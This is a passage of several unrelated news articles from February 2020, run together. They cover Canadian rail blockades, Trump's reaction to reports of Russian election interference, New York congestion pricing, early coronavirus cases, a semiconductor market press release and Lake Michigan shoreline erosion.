issues, following the Prime Ministers letter to them, the readout of the call says. Four Wetsuweten hereditary chiefs have travelled east and are expected to meet with members of the Mohawk Nation in Quebec and Ontario to thank them for supporting their cause with their solidarity protests. Mohawks at Tyendinaga, between Toronto and Montreal, have blocked a critical rail line, cutting both freight and passenger traffic with coasttocoast ramifications. A gathering is being held Friday at Tyendinaga, where the Wetsuweten chiefs are to be welcomed and political issues discussed. Bennett and Indigenous Services Minister Marc Miller said Thursday they were eager to meet the hereditary chiefs and hope this could possibly happen while theyre relatively close to Ottawa The Tyendinaga territory is about 250 kilometres away by road. The two federal ministers also say they are willing to travel to B.C. at a moments notice if the chiefs prefer to meet in their own territory. We are hopeful that (the RCMPs move) will allow the conversations to continue, Bennett said. We hope that the Wetsuweten will be able to express to those in solidarity with them that it is now time for them to stand down and let us get back to work. But one of the chiefs said his counterparts wont meet with cabinet ministers in Ottawa. Namoks, who also goes by John Ridsdale, said they must make decisions as a unit, and three senior chiefs have remained in northern British Columbia. Progress is being made, he said, while reminding supporters to remain peaceful. But Namoks also noted the chiefs not only want the RCMP off their territory, they expect Coastal GasLink to remove its workers too. Miller urged the Canadian public to be patient. Everyone wants to take the air out of this balloon in the most controlled way. The problem is most people are coming at us with a pin and that isnt the right solution, Miller said. There are some easy, expedient ways to resolve conflict, the problem is most of the time theyre not the right way, so I urge Canadians, I know the pain theyre going through, but we ask for a little more patience because there is a real opportunity to show the world that we can resolve these issues in a peaceful way. Ontario Conservative MP Erin OToole, who is running for his partys leadership, issued a statement Thursday saying if he were prime minister, he would criminalize blocking transportation corridors and issue a blanket policy telling police to clear blockades without waiting for court orders. Less than 24 hours earlier, his main competition for the leadership, former justice minister Peter MacKay, tweeted support for counterprotesters in Edmonton who dismantled a barricade there later deleting the tweet and issuing a statement saying the illegal blockades and vigilante reactions by those frustrated by the prime ministers actions are dangerous, accusing Trudeau of offering only platitudes in the face of a crisis. Outgoing Conservative Leader Andrew Scheer repeated his criticism of the protesters Thursday and questioned the wisdom of meeting the traditional chiefs demands. My concern is what happens now? Now that these people who have been breaking the law, these radical activists see that they can get concessions from this government, what kind of a message does that send and what future protests, what future illegal activity will that see for future projects? One of those projects could be the Trans Mountain oil pipeline, which the Liberals bought and pledged to get finished despite opposition from many quarters, including some Indigenous groups. The Wisconsin Dells Business Improvement District committee took another step toward completing its downtown lighting project, agreeing to bring in a professional design consultant. Committee members voted for a motion to bring in Dean Lyons, owner of Chicago-based lighting company Brite Nites. According to committee chair Tara Anchor, the plan is for Lyons to come to the April 1 BID meeting in order to advise the city on how to move forward in lighting up downtown. The committees vote on the motion, which was unanimous save for Kevin Ricks, who abstained due to a personal relationship to Lyons, authorized the city paying Lyons company $5,000 for a design fee. After his presentation at the April 1 meeting, the committee hopes to have a plan to move forward on the lighting project. Dells citizen Debbie Kinder was also present to discuss the lighting project, but she was focused on a different facet of it. Much of the committees past discussion on lighting has focused on the trees that line the downtown area, with suggestions ranging from wrapping them in string lights to planting floodlights at the base. Peru unveiled a priceless manuscript containing the memoirs of former Inca leaders that had disappeared during Chile's occupation of Lima during the 1879-84 Pacific War. The manuscript -- called "Memories of the Peruvian monarchy or outline of the Inca's history" -- was written in the 1830s by Justo Apu Sahuaraura Inca (1775-1853), a descendent of the Inca emperor Huayna Capac (1493-1525). "The value of this document from 1838 is incalculable. It was always considered an extremely rare jewel of a document, we don't have another of its type," Gerardo Trillo, director of the Protection of Collections at Lima's National Library, told AFP about the manuscript that was found in Brazil. Sahuaraura was a member of the indigenous nobility in Cusco, the old Inca capital, and dedicated his time to preserving the memory of the Inca empire, which lasted 100 years between the 15th and 16th centuries and covered a vast area from the south of Colombia to the center of Chile. The author styled himself as "the last descendent of the Inca's imperial line." In the manuscript he traced Inca history until the arrival in South America of the Spanish colonizers, using now extinct documents. The text includes information about Inca Garcilaso de la Vega, the son of a Spanish conquistador and Inca noblewoman, thought to be the first mixed-race person in the history of the Americas. The manuscript also includes accounts of the Spanish conquest of Cusco, as well as an Inca chronology. "It's a pretty rare and strange manuscript because it has colored sheets that represent the different Incas," said Trillo. He said the manuscript was stolen from the National Library during the Chilean occupation of Lima from 1881-83, a war that pitted Peru and Bolivia against Chile. Chile has returned more than 4,500 books taken from Peru's National Library during the occupation. However, this manuscript was acquired in 1970 by Brazilian private collectors, who agreed in November to return it to its rightful owners. "It took a decade of negotiation for this manuscript to be returned," said Trillo. It has since been digitalized and can be consulted online. The priceless manuscript was stolen during the Chilean occupation of Lima from 1881-83 and it took almost 140 years to secure its return President Donald Trump on Friday mocked reports the intelligence community has concluded Russia is interfering in the 2020 campaign to try to get him reelected, saying Democrats are trying to "start a rumor." "I was told a week ago -- they said, 'you know they're trying to start a rumor,'" Trump said at one of his "Keep America Great" rallies in Las Vegas. "It's disinformation -- that's the only thing they're good at, they're not good at anything else, the get-nothing, the do-nothing Democrats -- that Putin wants to make sure I get elected," he said. Trump went on to recycle an argument he's made in the past -- that Russian President Vladimir Putin would rather see a Democrat in the White House, specifically Sen. Bernie Sanders, who calls himself a socialist democrat. PHOTO: President Donald Trump holds a campaign rally at the Las Vegas Convention Center in Las Vegas, Nevada, Feb. 21, 2020. (Jim Watson/AFP via Getty Images) "Doesn't he want to see who the Democrats are gonna be? Wouldn't he rather have, say, Bernie? " Trump said. Trump lashing out at what an official told the House Intelligence Committee comes as he's acting to reshape the intelligence community, long the target of his ire. His search for a permanent director of national intelligence is proving to be a formidable challenge, even as he claimed Friday to have "four great candidates." Although Trump made a point of telling reporters on Air Force One Thursday that he was considering Rep. Doug Collins, one of the presidents leading defenders during the House impeachment inquiry, the Georgia Republican quickly declared Friday that hes not interested in the nomination. This is not a job thats of interest to me, and its not one that Id accept, Collins, who is running in a competitive primary for U.S. Senate, said on the Fox Business Network show 'Mornings with Maria.' Trump has had substantial difficulty identifying a confirmable nominee since former DNI Dan Coats resigned Aug. 15, settling instead on two acting directors who did not require Senate confirmation, avoiding tough questions. Story continues The critical post represents the countrys top-ranked intelligence official, with a range of responsibilities including the production of the Presidential Daily Brief, a top secret document summarizing the nations top intelligence threats. In Trumps 1128 days in office, the White House has publicly advised of less than 300 of those formal briefings, although the president receives more frequent intelligence updates as dictated by world events. After Coats resigned, Trump announced his intention to tap GOP Rep. John Ratcliffe, a former U.S. attorney and Trump loyalist who has also defended the president throughout the House impeachment hearings and Senate trial, for DNI. But Ratcliffe was deemed not confirmable and the president quickly withdrew his name from consideration. Trumps search ultimately settled on a temporary assignment for Joseph Maguire, the former director of the National Counterterrorism Center and retired vice admiral in the U.S. Navy who served as acting DNI from Aug. 16, 2019 until the president replaced him earlier this week. Maguires tenure ended prematurely after the president learned that an intelligence official had told the House Intelligence Committee last week that Russia was once again interfering in the U.S. election process with the goal of trying to help Trumps reelection prospects by spreading disinformation in support of the president on social media. That briefing infuriated Trump, particularly due to the presence of House Intelligence Chairman Adam Schiff, the Democrat at the forefront of the failed effort to remove Trump from office. Trump worried Democrats would use the information from the briefing against him. After learning of the congressional briefing, Trump summoned Maguire to the Oval Office last Friday for a "dressing down," according to the Washington Post -- and by Wednesday, the president decided to replace him with Ambassador to Germany Ric Grenell, a staunch Trump loyalist. Another misinformation campaign is being launched by Democrats in Congress saying that Russia prefers me to any of the Do Nothing Democrat candidates who still have been unable to, after two weeks, count their votes in Iowa. Hoax number 7! Donald J. Trump (@realDonaldTrump) February 21, 2020 PHOTO: In this May 31, 2019, file photo, US ambassador to Germany, Richard Grenell, awaits the arrival of the Secretary of State Pompeo at Tegel airport in Berlin. (Odd Andersen/AFP via Getty Images, FILE) Now that Grenell has assumed the position albeit on a temporary basis -- Democrats have decried his lack of intelligence experience, though the White House celebrated Grenells years of experience working with the Intelligence Community. Grenell, who is keeping his job as Ambassador to Germany, has conceded he will not be nominated to fill the position on a permanent basis. Trump has signaled he is considering four people for the post and he will announce a nominee in the coming weeks. Four great candidates are under consideration at DNI. Decision within next few weeks! Donald J. Trump (@realDonaldTrump) February 21, 2020 Another Republican reportedly under consideration is Utah Republican Rep. Chris Stewart, who also has a seat on the House Intelligence Committee. Stewart, who rose to the rank of major in the U.S. Air Force, has not commented on his prospects for DNI. While Trump mocks the so-called Deep State during his campaign rallies and on Twitter, the presidents purge is also trickling down the ranks within the intelligence community. Director of National Intelligence's Principal Executive Andrew Hallman is expected to soon depart, as is the ODNIs General Counsel Jason Klitenic, sources familiar with the matter confirm to ABC News. Kash Patel, a former senior National Security Council official is expected to move into a senior role under Grenell, according to sources. Patel is a controversial figure in Washington known for his efforts to discredit special counsel Robert Muellers Russia investigation while he was an aide to Rep. Devin Nunes, the ranking Republican on the House Intelligence Committee. Although the intelligence community depends on career professionals to keep America safe from threats, the totality of the recent wave of personnel changes underscores the notion that the president is able to singularly shape its leadership by appointing officials who serve strictly at the pleasure of the president. The Intelligence Reform and Terrorism Prevention Act of 2004, the law which created the DNI post, specifies that "Any individual nominated for appointment as Director of National Intelligence shall have extensive national security expertise." PHOTO: Senator Ron Wyden walks through the Reception Room at the United States Capitol in Washington DC., Feb. 3, 2020. (Stefani Reynolds/CNP/Polaris via Newscom) Oregon Democratic Sen. Ron Wyden expressed doubt that Grenell meets the DNIs basic job requirements for expertise in intelligence even if hes only on the job in an acting capacity. If there was any doubt that Donald Trump values unquestioning obedience over the safety of the American people, this appointment settles the question, Wyden said. Senators who take their oath of office seriously must oppose Trump's practice of dodging Senate confirmation practices to place unqualified individuals into highly sensitive national security posts. ABC News John Santucci and Katherine Faulders contributed to this report Trump mocks intel finding Russia helping his reelection as Democratic 'disinformation' originally appeared on abcnews.go.com STATEN ISLAND, N.Y. -- As the MTA continues its quest to receive federal approval for the nations first congestion pricing plan, New Yorks top elected official isnt holding his breath. On Thursday, Gov. Andrew Cuomo told reporters that New Yorks congestion pricing plan could be held up by President Donald Trumps administrations refusal to provide guidance and approval to the MTA. I am not holding my breath for them to approve congestion pricing, Cuomo said. The refusal to approve congestion pricing is just the latest in a long line of political stalemates reached between New York and the the Trump administration, which includes a lack of federal funding for the Gateway rail tunnel, withheld approval for the LaGuardia Airport air train and exclusion from trusted traveler programs, like Global Entry, for New Yorkers. Will they hold approval on congestion pricing hostage? Yes. Will they hold the air train approval at LaGuardia Airport hostage? Yes. Will they hold the Gateway Tunnels hostage? Yes. Because that is how they do business, Cuomo said. With the federal government continuing to drag its feet on the matter, theres some concern that the program may not be ready to launch by the anticipated January 2021 start date. The Central Business District Tolling Program (CBDTP) -- expected to reduce congestion on busy Manhattan streets while generating billions in revenue to dedicate toward mass transit improvements -- requires federal approval due to some roads within the programs limits receiving federal funding or being considered part of the interstate highway system. The main concern lies with the National Environmental Policy Act (NEPA) review process, which will require the MTA to complete either an abbreviated environmental assessment (EA) or a larger-scale environmental impact statement (EIS). The problem is, the Federal Highway Administration (FHWA) has yet to provide the MTA with guidance as to which review will be necessary, despite over a dozen meetings between the two agencies in recent months, according to the MTA. The NEPA process is determined by the federal government and we have yet to receive direction from FHWA on how they would like the MTA to proceed even as we have had over a dozen meetings and provided every request for supplemental information," said MTA spokesperson Abbey Collins. As we have informed FHWA, the MTA is prepared to file either an EIS or EA, each of which we are advanced in preparing. The MTA remains on schedule, with the selection of the contractor and notice to proceed with work, each completed a month ahead of schedule, Collins continued. MALLIOTAKIS CALLS FOR REJECTION On Thursday, Assemblywoman Nicole Malliotakis (R-East Shore/Brooklyn) wrote to Federal Highway Administration (FHWA) Administrator Nicole Nason, urging the agency to reject New Yorks congestion pricing plan until the MTA provides additional details regarding implementation. I am writing today to urge you to reject congestion pricing in New York City until the MTA can provide a plan that details how this proposal would be implemented, as well as, where the revenue created would go, Malliotakis wrote. In the letter, Malliotakis referenced the lack of available details regarding the plan, including how much the fee will cost, who will be exempt and what projects the money will fund. As your agency moves closer to a decision, I ask that you hold the MTA to the highest standard possible and reject this plan until they are able to provide concrete and satisfactory details as to how they intend to proceed, she continued. She also notes that Staten Islanders already pay a toll to connect with the rest of the city, claiming that any approved congestion pricing plan should provide Staten Island drivers a credit to avoid being double tolled. I also urge you to reject this proposal unless the Verrazzano Bridge is given the same toll credit status that many other crossings across the city are expected to receive. The people of Staten Island and New York City are counting on you to make sense of this puzzling plan missing many pieces, the letter concludes. ABOUT NYC CONGESTION PRICING As part of the $175 billion state budget approved on April 1, the MTAs Triborough Bridge and Tunnel Authority (TBTA) will establish the Central Business District Tolling Program, which will charge travelers a variable fee for driving into Manhattans Central Business District, defined as any area south of 60th Street. Congestion pricing refers to the use of electronic tolling to charge vehicles for entering certain areas during peak commuting hours, ideally resulting in reduced traffic congestion and increased revenue for transit-oriented projects. A six-member Traffic Mobility Review Board will recommend toll pricing this year to the TBTA, which will ultimately determine the toll prices, which may vary based on a combination of factors and may potentially offer exemptions and credits to certain travelers. However, less than a year from potential implementation, the review board has yet to be determined, with no meetings yet scheduled. The toll could potentially vary based on the time of day, the amount of traffic, the total distance traveled within the zone and the time spent driving within the zone. The program is expected to generate $1 billion annually, which can be bonded against for $15 billion, which will be placed in a designated MTA lockbox to fund capital improvements to the ailing mass transit system. Revenue generated from the new internet sales tax and progressive mansion tax will also be included in the lockbox, adding another $10 billion in bonded funds, totaling $25 billion between the three new revenue streams. In late March, a source involved with New York City congestion pricing proposals said it was fair to say that the panel would start with a baseline of the existing tolls on the Hugh L. Carey and Queens Midtown Tunnels, resulting in a two-way fee of $6.12 or one-way fee of $12.24 under the current tolling structure. According to the source, the determining factor in selecting the price will be assuring that the annual generated revenue meets the $1 billion needed to secure the $15 billion in bonds for repairs and improvements to the public transportation system. STATEN ISLAND, N.Y. -- The 47-year-old man charged with second-degree vehicular manslaughter after a fatal crash on the West Shore Expressway drove for nearly the entire length of the expressway while over twice the legal blood alcohol content limit, prosecutors said on Thursday. Aureliano Garcia Juarez, who has a Maryland drivers license but has a residence in New Jersey, appeared in state Supreme Court, St. George Thursday afternoon before Judge Marina Cora Mundy and was served an 18-count indictment. Garcia Juarez, who still had bandages on his arm from his recent hospital stay following the crash, spoke through a Spanish translator at the hearing. Assistant District Attorney Frank Prospero said that Garcia Juarez allegedly traveled almost the entire length of the West Shore Expressway, citing video surveillance evidence, while having a blood alcohol content level of .18. The legal blood alcohol limit is .08 in New York. An indictment said that Garcia Juarez allegedly drove northbound in the southbound lane, forcing other motorists to swerve away from his vehicle. The crash, which occurred at approximately 5:40 a.m. near the South Avenue exit, killed Garcia Juarezs passenger, Carmelia Martinez. The 37-year-old has been identified as his wife, a source told the Advance. Two other drivers were injured during the crash. A 63-year-old man driving a Toyota minivan suffered neck and back pain and was transported to the hospital, and a 46-year-old man driving a Ford pickup truck refused medical attention at the scene, authorities said. However, Prospero said a slight change in circumstance could have caused three fatalities." Garcia Juarezs attorney, Rebecca Rosenfeld, called the incident a tragedy for everyone involved, adding that her clients grave mistake caused a tragedy. Rosenfeld said that Garcia Juarez has never been arrested before and works 12-hour shifts at a pizzeria, adding that the 47-year-old has six children between the ages of two and 18. It was not clear if all of the children were the victims. Mundy suspended Garcia Juarezs license pending the result of the case and set his bail at $50,000 cash, $50,000 bond and $50,000 personal surety bail bond, citing his current limited financial standing. This case involves a tragic loss of life and we will work tirelessly to seek justice on behalf of the victim," said District Attorney Michael E. McMahon in a written statement. "My office takes vehicular crimes seriously and we will continue to vigorously prosecute drivers who endanger the lives of others in order to keep our roads and Staten Island safe. Garcia Juarez is next due in court on March. 19, 2020. Jerusalem (AFP) - Israel confirmed Friday its first case of new coronavirus in a citizen who flew home from Japan earlier this week after being quarantined on the stricken cruise ship Diamond Princess. "One of the passengers who returned home from the cruise ship in Japan tested positive in a checkup by the health ministry's central laboratory," a ministry statement said. A total of 15 Israelis were among the passengers quarantined on board the Diamond Princess, of whom 11 have flown home. The others all tested negative for the virus. The returning Israelis had all been placed in quarantine for 14 days at the Sheba Medical Center near Tel Aviv. "They are in full isolation," said Dr Gili Regev-Yochay, director of the hospitals' infectious diseases unit. "It's in many ways like a jail. We try to make it as best as we could to have them in a very nice and comfortable place, but very isolated." The woman who tested positive for the virus "is not sick", Regev-Yochay added. "She is totally healthy. She feels she is asymptomatic but she is a carrier of the virus." The other four Israelis who were on board the Diamond Princess are still in Japan. At the start of the month, Prime Minister Benjamin Netanyahu said it was "inevitable" that the COVID-19 outbreak, which first emerged in China, would reach Israel. He urged health authorities to focus on developing a vaccine. In late January, the government banned all flights from China from landing in Israel. This month it also began refusing entry to foreign nationals who had visited Hong Kong, Macau, Singapore or Thailand over the past two weeks. Since December, the novel coronavirus has killed more than 2,200 people in China, the epicentre of the epidemic. Elsewhere in the world, the virus has killed 11 people and spread across some 25 countries. CHICAGO, Feb. 21, 2020 /PRNewswire/ -- According to the new market research report "IGBT & Thyristor Market by Packaging Type (IGBT Discrete, IGBT Module), Power Rating (Medium Power IGBT, High Power IGBT), Voltage (Below 400V, 600-650V), Application (Power Transmission Systems, Motor Drives), and Region - Global Forecast to 2024", published by MarketsandMarkets, the global IGBT market size is estimated to grow from USD 5.3 billion in 2020 to USD 6.6 billion by 2025, at a CAGR of 4.6%. The global thyristor market size is expected to grow from USD 781 million in 2020 to USD 849 million by 2025, at a CAGR of 1.7%. The key factors fueling the growth of the IGBT and thyristor market are the implementation of government initiatives in various countries towards the replacement of aging power infrastructure, and the adoption of electric motors in industrial, commercial, and residential applications. Ask for PDF Brochure: https://www.marketsandmarkets.com/pdfdownloadNew.asp?id=1323 "IGBT module accounted for a large share of the IGBT market in 2019." IGBT module accounted for a large share of the IGBT market in 2019, driven by the increasing adoption of electric and hybrid electric vehicles all over the world. Countries such as Germany, the US, China, and Belgium have contributed significantly to the global sales of EVs/HEVs. IGBT modules are suitable for high-power applications, such as EVs/HEVs. Moreover, government initiatives undertaken around the world to promote the use of HVDC systems for long-distance power transmissions are fueling the demand for IGBT modules. HVDC projects such as Viking Link (UK-Denmark), Russia-Japan Energy Bridge (Russia-Japan), Buk Dangjin-Godeok HVDC transmission link (South Korea) are expected to foster the growth of the market for IGBT modules in the near future. "Demand for medium-high power IGBT expected to grow at highest CAGR during the forecast period" The high power IGBT (more than 1 MW) is projected to lead the IGBT market with the highest CAGR from 2020 to 2025. This growth is attributed to the growing adoption of high-power IGBTs in HVDC systems, wind turbines, solar inverters, and EVs/HEVs. High-power IGBTs can operate on more than 1 MW power, which makes it suitable for high-power applications. The replacement of aging power transmission lines to HVDC and FACTS has contributed significantly to the growth of high-power IGBTs. Atlantic Wind Connection - Transmission (US), Grain Belt Express Clean Line (US), and TransWest Express Transmission (US), Zhou Shan, Gezhouba - Shanghai (China), Tian-Guang (China), and Three Gorges - Changzhou (China), Russia - Japan Energy Bridge (Russia-Japan) are some of the HVDC projects that have had a significant impact on the market growth. "Power transmission systems accounted for the largest share of the global thyristor market in 2019" The power transmission systems application held the largest share of the thyristor market in 2019. The major factor contributing to the growth of this application is the increasing deployment of thyristors in HVDC systems and FACTS due to their low-power loss capability. HVDC systems and FACTS employ thyristors to DC to AC and AC to DC conversion. Increasing number of HVDC and FACTS projects, such as the State Grid Corporation of China (SGCC) Transmission Lines (China), Russia-Japan Energy Bridge (Russia-Japan), Atlantic Wind Connection - Transmission (US), BRITIB Project (Spain-France-UK), and the Grain Belt Express Clean Line (US), has driven the market growth over the years. Browse in-depth TOC on "IGBT & Thyristor Market" 105 - Tables 70 - Figures 184 - Pages Inquiry Before Buying: https://www.marketsandmarkets.com/Enquiry_Before_BuyingNew.asp?id=1323 "APAC is expected to grow at the highest CAGR during the forecast period." APAC is projected to lead the global IGBT market at the highest CAGR from 2020 to 2025. This growth can be attributed to the increasing sale of electric and hybrid electric vehicles in APAC countries. China, Japan, South Korea, and India are the major markets for EVs/HEVs in APAC. In 2018, China alone accounted for 98% of the global sales of electric buses, which has contributed significantly to the dominance of APAC. Initiatives taken by the governments of APAC countries to promote the use of these vehicles are expected to further drive the market demand in the near future. For instance, the Indian government approved the subsidy of USD 1.4 billion to support domestic manufacturers of electric vehicles. Also, the presence of a few of the world's largest wind farms and major solar power projects in the region has driven the growth of the IGBT market. Infineon Technologies AG (Germany), Fuji Electric Co., Ltd. (Japan), ON Semiconductor (US), Mitsubishi Electric Corporation (Japan), and STMicroelectronics (Switzerland) are the key players in the IGBT & thyristor market. These players are increasingly undertaking strategies such as product launches, partnerships, collaborations, contracts, agreements, acquisitions, and expansions to increase their market share. Related Reports: HVDC Transmission Market by Component (Converter Stations, Transmission Cables, and Others), Project Type (Point-to-Point, Back-to-Back, and Multi-Terminal), Technology (CCC, VSC, and lCC), Application, and Geography - Global Forecast to 2024 GaN Power Device Market by Device Type (Power, RF Power), Voltage Range, Application (Power Drives, Supply & Inverter, and RF), Vertical (Telecommunications, Consumer, Automotive, Military, Defense, Aerospace), and Geography - Global Forecast to 2023 About MarketsandMarkets MarketsandMarkets provides quantified B2B research on 30,000 high growth niche opportunities/threats which will impact 70% to 80% of worldwide companies' revenues. Currently servicing 7500 customers worldwide including 80% of global Fortune 1000 companies as clients. Almost 75,000 top officers across eight industries worldwide approach MarketsandMarkets for their painpoints around revenues decisions. Our 850 fulltime analyst and SMEs at MarketsandMarkets are tracking global high growth markets following the "Growth Engagement Model - GEM". The GEM aims at proactive collaboration with the clients to identify new opportunities, identify most important customers, write "Attack, avoid and defend" strategies, identify sources of incremental revenues for both the company and its competitors. MarketsandMarkets now coming up with 1,500 MicroQuadrants (Positioning top players across leaders, emerging companies, innovators, strategic players) annually in high growth emerging segments. MarketsandMarkets is determined to benefit more than 10,000 companies this year for their revenue planning and help them take their innovations/disruptions early to the market by providing them research ahead of the curve. MarketsandMarkets's flagship competitive intelligence and market research platform, "Knowledge Store" connects over 200,000 markets and entire value chains for deeper understanding of the unmet insights along with market sizing and forecasts of niche markets. Contact: Mr. Sanjay Gupta MarketsandMarkets INC. 630 Dundee Road Suite 430 Northbrook, IL 60062 USA: +1-888-600-6441 Email: sales@marketsandmarkets.com Research Insight: https://www.marketsandmarkets.com/ResearchInsight/igbt-thyristor-market.asp Visit Our Web Site: https://www.marketsandmarkets.com Content Source : https://www.marketsandmarkets.com/PressReleases/igbt-thyristor.asp Logo: https://mma.prnewswire.com/media/660509/MarketsandMarkets_Logo.jpg LAS VEGAS President Donald Trump said Friday that a disclosure by American intelligence officials that Russia was again meddling in a presidential election in his favor was merely another partisan campaign against him, dismissing the warning as a hoax cooked up by rivals. Another misinformation campaign is being launched by Democrats in Congress saying that Russia prefers me to any of the Do Nothing Democrat candidates who still have been unable to, after two weeks, count their votes in Iowa, Trump wrote on Twitter. Hoax number 7! The intelligence assessment, delivered last Thursday to lawmakers on the House Intelligence Committee, determined that Russia is planning to interfere in the 2020 primaries as well as the general election. But the way it was delivered angered some Republicans, and the attendance of Rep. Adam B. Schiff, D-Calif., the chairman of the committee who led the impeachment proceedings, particularly angered Trump. The presidents decision to remove Joseph Maguire, the acting director of national intelligence, and install Richard Grenell, the ambassador to Germany and a fervent loyalist, was also seen as a direct outcome of the briefing. On Thursday evening, Trump told reporters aboard Air Force One that Rep. Doug Collins of Georgia, an ally and a vocal opponent of impeachment, was one of the candidates under consideration as a permanent successor. By Friday morning, Collins said he was not interested. This is not a job that interests me; at this time, its not one that I would accept because Im running a Senate race down here in Georgia, Collins said in an interview on Fox News. Trump has a long history of discarding assessments made by intelligence agencies that he has deemed unfair or unflattering. Multiple intelligence groups have determined that Russia meddled in the 2016 election, and, before the 2018 midterms, delivered warnings that Russia was prepared to do it again. Early in his presidency, Trump grudgingly accepted those assessments before falling back on personal assurances from President Vladimir Putin of Russia. He said he didnt meddle, Trump said in November 2017. I asked him again. You can only ask so many times. Every time he sees me, he says, I didnt do that. And I believe, I really believe, that when he tells me that, he means it. Since then, Trump, with the assistance of his Justice Department, has moved to retaliate against the intelligence community rather than Putin: A federal prosecutor is scrutinizing how the intelligence officials assessed Russias 2016 election interference, targeting the former CIA director John O. Brennan in particular. On Friday, Trump seemed to add the details of the latest briefing on Russia to his pile of so-called hoaxes. That pile is ever-growing. Among them: He has long slammed the special counsel investigation into Russias election interference and ties to his campaign as a Russian hoax, and in the fall, Trumps Justice Department opened a criminal inquiry into the investigation. He has disparaged the impeachment inquiry into his behavior with foreign leaders and later charges that he abused his power and obstructed Congress as a failed impeachment hoax. He claimed that sexual assault accusations against Justice Brett M. Kavanaugh were a hoax. On Friday, Trump tweeted that he had a list of four candidates to succeed Grenell, and that he would announce a decision in the coming weeks. This article originally appeared in The New York Times. The accords need to be amended, the top diplomat says. Ukraine is now working toward updating the Minsk agreements on Donbas settlement, which have exhausted themselves, says Ukrainian Foreign Minister Vadym Prystaiko. "The war continues, and we cannot allow Russia, which started it, to get out of it easily," Prystaiko told the Voice of America. Ukraine is set to amend the Minsk agreements despite Russia opposing the move. He recalled that the provisions of the agreements were to be implemented back in 2015. Read alsoPrystaiko on joint patrols in Donbas: "We haven't even come close to this" "Now it's 2020 and we still havent achieved peace. Therefore, we believe that we not only can we must change this document because some of its provisions just can't be implemented," he explained. Prystaiko has added that the Ukrainian side is now working to force all participants to agree that "the Minsk agreements have exhausted themselves and require change." At the same time, Prystaiko states that some changes to the Minsk agreements have already been made. As an example, he cited disengagement of forces and the "Steinmeier formula", also emphasizing the fact that Russia did not object to these actions. According to the Foreign Minister, over time, a new document will be developed that will be easier to implement to achieve practical results. The minister called the exchange of held persons and POWs between Ukraine and Russia the only partial achievement of the Minsk process. CLEVELAND, Ohio - Cases of the coronavirus in South Korea have jumped significantly and continue to increase in China and other neighboring countries. More than 2,200 people have died from the virus and close to 77,000 have been infected. The world economies continue to keep a close eye on the spread of the virus as well as both travel and manufacturing industries are feeling the impact. Live coronavirus tracker Coronavirus news in the U.S. Coronavirus is starting to hit Big Techs bottom line (Vox) Experts: Hawaii tourism likely to take a hit amid coronavirus fears (Hawaii News Now) Problems with CDC coronavirus test delay expanded U.S. screening (Politico) Whats spreading faster than coronavirus? Racist assaults and ignorant attacks against Asians (CNN) University at Albany students face heat for throwing coronavirus-themed party (NY Post) Amazon tells sellers it will take down listings for products that claim to kill coronavirus (CNBC) UT Austin announces coronavirus breakthrough could help yield vaccine (Fox News) Santa Clara County declares its first coronavirus case fully recovered (Mercury News) First case of novel Coronavirus confirmed in Humboldt County, CA (KRCR) Coronavirus quarantine in San Antonio ends for 90 evacuees from China (Texas Tribune) Pennsylvania man reflects on life after quarantine (NPR) Coronavirus news around the globe Japan creates task force to address coronavirus impact on auto industry (CNBC) Coronavirus outbreak to cost airlines almost $30bn (BBC) Chinas changed how it counts virus cases three times now. Heres why (CNN) Viral e-mail had people smashing buses and blocking hospitals in Ukraine (BuzzFeed News) Iran confirms three more cases (Al Jazeera) Researchers warn of coronavirus rebound (The Hill) Some African countries at risk for the new coronavirus arent prepared (The Verge) Coronavirus cases found in Chinese prisons (NPR) In this photo released by Xinhua News Agency, a pharmacist processes the granules of traditional Chinese medicine (TCM) at the Gansu Provincial Hospital of TCM in Lanzhou, northwest China's Gansu Province, Thursday Feb. 20, 2020. TCM has been widely applied in the treatment of the novel coronavirus disease (COVID-19) patients in China. (Fan Peishen/Xinhua via AP) NO SALESAP Local coronavirus news Coronavirus affecting top, bottom lines for local companies (WKRC) UC researchers developing smartphone app to help diagnose coronavirus cases (The News Record) If face masks wont necessarily protect against coronavirus, why are we buying them? (cleveland.com) Read complete prior coronavirus coverage on cleveland.com SOUTH HAVEN, MI Lake Michigan is rising and causing damage as it goes, capturing the attention of all levels of government. Were looking at a whole bunch of erosion, South Haven Mayor Scott Smith said while standing on the public South Beach with U.S. Sen. Debbie Stabenow, pointing down the shore at rocks property owners have placed to try to stop the erosion from making their land shrink and disappear into the water. Better than half the beach is missing, he said. Itll be back, we just have to protect it. Related: Beaches shrink in Southwest Michigan amid rising water levels Stabenow sat in a meting on Thursday, Feb. 20, with more than 20 officials including people from the city of South Haven, Van Buren County, the U.S. Army Corps of Engineers, the Department of Environment, Great Lakes and Energy, and others. Near-record high water levels and storms with large waves have eroded the Lake Michigan shoreline, causing concern for residents and government officials. If you are reading this in your Facebook app, use this link to view the entire gallery of photos. 14 U.S. Sen. Debbie Stabenow tours South Beach The biggest problem is that we shouldve been acting earlier on the question of how the atmosphere is changing and holding more precipitation, and all the flooding issues and everything thats happening as a result of the climate crisis, Stabenow said. "Unfortunately, rather than debating whether its real, were in a spot where we can see it every single day and the scientists are telling us its happening much quicker than they even thought it was going to happen. We have to respond. I believe in science, Stabenow said. Many of the resources that may be available, through agencies such as the U.S. Army Corps of Engineers, could take months or years to acquire, Stabenow said, and she encouraged local leaders to write letters to request help. I want to make sure everyone knows every possible resource thats available, because when youre looking at $20 million, first of all, thats a really big number," Stabenow said, referring to an updated estimate of potential impacts that the city of South Haven displayed on a slideshow during the meeting. Stabenow also visited Bay City this week, and said she is taking the tours to make sure people in Washington is paying attention to whats happening in Michigan. This region is getting hammered, Stabenow said before departing from South Haven City Hall to tour the beach in below-freezing temperatures. People are worried and people are scared because of whats happened. They are watching closely as the water creeps closer. South Haven Emergency Services Director Ron Wise pointed out an area on Evergreen Bluff Drive, just south of city limits in South Haven Township, where officials are monitoring as bluffs recede. South Haven Emergency Services Director Ron Wise points out a land marker used to measure erosion on Evergreen Bluff in South Haven Township, Michigan on Thursday, Feb. 20, 2020. (Kendall Warner | Mlive.com) Kendall Warner | MLive.com He pointed out a wooden stake that he is keeping an eye on to estimate how much material is falling into Lake Michigan, and how quickly, and said the stake is about to go over the edge. He pointed to cracks forming in the grassy land above the bluff -- an indication that more land will fall there. Fresh dirt is the last thing people want to smell up here, he said. A water pipe feeding a fire hydrant is buried on top of the ridge, and officials are worried it could be impacted if the erosion continues, Wise said. Back at the beach, resident Julie Carten-Crandell was walking her dog near the pier like she often does. The loss of the beach and the nature preserves is a pretty high concern for me, she said. Her wife, Becky Carten-Crandell, said tourism is a big part of the lake shore. A lot of us only have three or four months to 